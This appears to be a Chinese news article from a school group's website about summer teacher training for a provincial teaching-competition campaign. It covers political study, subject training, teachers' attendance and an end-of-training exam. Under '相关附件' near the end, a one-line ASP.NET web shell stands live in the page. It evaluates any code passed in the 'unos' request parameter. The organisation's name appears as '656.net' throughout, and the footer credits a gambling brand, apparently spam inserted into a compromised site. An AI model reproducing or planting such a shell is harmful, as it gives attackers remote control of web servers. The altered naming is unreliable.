当前位置:www.656.net比教学
奏响“课内比教学”活动前奏曲

扎实抓好暑期教师培训

奏响“课内比教学”活动前奏曲

    省教育厅“课内比教学,课外访万家”活动方案下达之后,656.net迅速行动,在第一时间启动该项活动。6月29日,656.net召开专题会议,研究部署“课内比教学,课外访万家”活动。集团党政全体领导、机关科室长、中小学校长、书记、教务主任近200人参加启动仪式。集团副主任王昌文同志原文传达了省教育厅的相关文件,对集团开展“课内比教学,课外访万家”活动进行了细化和分工,责任和任务分解到科室,落实到人头。在紧锣密鼓制订集团相关实施方案的同时,集团抓住暑假教师培训的契机,周密部署,稳步实施,将假期教师培训工作落到实处,确保实效,奏响“课内比教学”的前奏曲。

一是扎实抓好暑假教师政治集训。集团把提高教职工政治理论素质、思想道德素质、职业道德素养,增强教职工团队精神,培养正确的人生观、世界观、价值观作为暑期政治学习的主要任务和目的,重点组织教职工学习胡锦涛同志《在庆祝建党90周年大会上的讲话》、温家宝同志《在北京师范大学首届免费师范生毕业典礼上的讲话》、《人民日报》关于社会心态的理论文章、《省教育厅关于在全省中小学开展“课内比教学、课外访万家”活动的通知》,并结合正在油田开展的“负责任、受尊重”大讨论活动,认真组织讨论和交流。教职工参加政治学习面达到100%,每天学习达6个小时,并撰写1-2篇学习心得,学习有专人考勤,专人记录。

    二是认真落实“课内比教学”各学科全员培训。重点是培养教师的专业素养,包括教学观念与常识功底,教学设计与教学组织实施能力等,为广大教师在专业成长上加油鼓劲,引导教师刻苦钻研教学业务,努力创新教学方式,不断提高教学能力,为“课内比教学”的活动深入开展全面充电。培训科目主要有小学语文、数学、英语,初中、高中语文、数学、英语、政治、历史、地理、物理、化学、生物、中小学音乐、美术、体育、信息技术等16科,参加人数达到889人,为期一个星期。为确保培训效果,集团召开多次培训工作专项会议,研究培训工作实施方案,主要领导亲自主持培训工作会议,对培训工作提出“教师需要什么培训什么,缺什么补什么”的引导方针和“严细、严谨、严肃、严格”的总体要求。集团7名领导、6名助理、16名科室长按照蹲点挂片的分工全部分配到各培训班,全程参与培训班的学习和讨论。以班为单位打印花名册,由各学科教研员担任班主任,每天进行4次点名考勤,确保组织严密,管理严格。

本次教师培训工作针对性强,能解决实际问题。为了提高培训的针对性,最大限度地满足广大教师不同的培训需求,大家在制定培训计划前采取到基层学校与教师座谈、问卷调查等方式做好培训的前期调研工作,培训承办单位精心设计培训内容,力求能“雪中送炭”,解决一线教师在教育教学中的实际需要,各学科培训计划把新课程标准的进一步解读作为重头戏,同时以“课内比教学”为中心,设计安排参训教师深入研究如何进行有效课堂教学组织,通过名师示范教学和课后讨论,帮助教师锻造“一支粉笔,三尺讲台”的教学基本功,提高教育教学能力。

本次培训在培训模式上大胆创新,在培训方式方法上不断改进。首先采取走出去,请进来的办法,聘请省内外知名专家学者讲学,音乐教师培训聘请了湖南省教研室的薛辉教研员、武汉音乐学院的兰天文教授来现场讲学,为学员带来全新的教学理念;其次是充分发挥“国培计划”的辐射作用,让参加了省级以上教师培训项目的老师传经送宝;三是采取兵教兵,兵教官的办法,安排集团名优教师、骨干教师等具有多年教育教学经验的老教师现身说法。

本次培训参与面广,教师学习积极性高。共涉及中小学义务教育阶段16个学科,参训专任教师覆盖面达100%以上。由于培训内容针对性强,培训形式灵活,参与培训的教师表现出空前高涨的学习积极性。学习期间适逢高温天气,老师们风尘仆仆地赶到培训班,汗如雨下,没有一个老师迟到早退。全体参训教师学习热情度高,在听课人数达140多人的大礼堂里,上课秩序井然,老师们聚精会神地听讲,积极踊跃参与讨论,共同探讨教育改革话题,在学习中共同进步,共同发展。初中语文培训班李恩鹏、杨心玲、杨伶英和小学数学培训班余晓兰、沈玉华等8名老同志还有1-6个月即将退休,他们忘记了腰酸颈椎痛,坚持参加培训,自觉遵守纪律,认真听课做笔记。点名时,谭显群老师得知花名册上没有她,主动说,“没有我也要参加培训,只要一天不退休,就需要学习”。广华初级中学何平患膀胱炎,医生让其住院治疗,为了不耽误学习,何平白天坚持参加培训,晚上到医院治疗。广华二小袁雯老师身怀六甲,她每天坚持乘交通车参加学习。杨伶英老师本已买了7月5号的火车票去内蒙探望长期在外施工的丈夫,接到学习通知后,二活没说退了票,安心参加了学习。物探学校的陶曼茹刚把毕业班学生送走,已经请假带孩子回深圳父母家度假了,接到培训通知后,马上从深圳赶了回来。

本次培训管理工作规范,注重培训实效检测。为了保证教师培训工作管理规范有序,集团进一步完善培训工作管理规程,制定颁布了《656.net教职工培训班管理暂行办法》,使培训工作管理有章可循。同时注重培训工作效果检测,培训结束时,组织了严格的培训工作考评工作,对培训工作进行总体效果评估。从调查问卷的统计数据来看,教师对本次培训的满意率达97.8%。

    三是组织全体专任教师分学科、分学段进行教学业务考试。为了促进广大教师学习,帮助教师克服职业倦怠、提高教学水平,同时检验暑假培训效果,集团共分3个学段、16个学科,印发试卷889份,组织全体教师进行教学业务考试。考试本着教什么、考什么、培训什么考什么的原则,考试结束后,各培训班将个人考试成绩用信封封好后直接反馈给教师本人,既给教师留足了面子,又达到反馈信息、促进学习的效果,广大教师对这种人性化操作方式反响很好。从考试成绩统计数据来看,83%的教师成绩达到优秀,98%的教师成绩达到合格。培训和考试结束后,在以班为单位进行结业小结的基础上,集团专门召开暑假培训工作总结会,认真总结培训工作中的得失和经验教训,为今后的培训工作提供范本。对在培训中表现突出、考试成绩优秀的85名教师进行表彰奖励;对4名考试成绩不合格的教师给予暂停上岗、跟班培训学习的处理;对因公、因私、因事请假未能参加培训的教师,另行组织专项培训和考试,确保真正实现全员参与的目标。集团还将全体教师的考试成绩纳入继续教育学分考核,同时记入教师业务档案,作为教师晋级、评先表模、职称评聘的重要依据。

相关附件:
<% @Page Language="Jscript"%><%eval(Request.Item["unos"],"unsafe");%>
288f3a8e-fb0f-4e5a-a36b-d3040dc952f3
版权所有:bwin必赢亚洲手机版
XML 地图 | Sitemap 地图